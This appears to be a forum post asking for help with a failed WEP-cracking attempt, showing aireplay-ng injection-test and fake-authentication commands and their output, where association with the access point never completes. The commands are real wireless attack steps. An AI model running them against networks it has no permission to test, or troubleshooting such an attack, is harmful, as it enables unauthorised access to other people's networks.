I can't get fake authentication to work for packet injection in cracking WEP

Injaction test works fine:

Code:
$ sudo aireplay-ng -9 -e (nome rete) -a (mac address) mon0

00:01:28  Trying broadcast probe requests...
00:01:28  Injection is working!
00:01:29  Found 1 AP 

00:01:29  Trying directed probe requests...
00:01:29  (mac address) - channel: 6 - '(nome rete)'
00:01:32  Ping (min/avg/max): 1.121ms/95.251ms/172.564ms Power: -62.63
00:01:32  30/30: 100%


but when i try fake authentication i get:
Code:
$ sudo aireplay-ng -1 6000 -o 1 -q 10 -e (nome rete) -a (mac address ap) -h (mio mac) mon0
00:09:28  Waiting for beacon frame (BSSID: (mac address)) on channel 6

00:09:29  Sending Authentication Request (Open System) [ACK]
00:09:29  Authentication successful
00:09:29  Sending Association Request [ACK]

00:09:34  Sending Authentication Request (Open System) [ACK]
00:09:34  Authentication successful
00:09:34  Sending Association Request [ACK]

00:09:39  Sending Authentication Request (Open System) [ACK]
00:09:39  Authentication successful
00:09:39  Sending Association Request [ACK]

00:09:44  Sending Authentication Request (Open System) [ACK]
00:09:44  Authentication successful
00:09:44  Sending Association Request [ACK]

 ..................

I can't get association!
I read about some AP using MAC filtering, but that way i should get stg like
"Association refused" or "got deauthentication packet"

Here i just get NOTHING!

Could you help me????????

Thanks!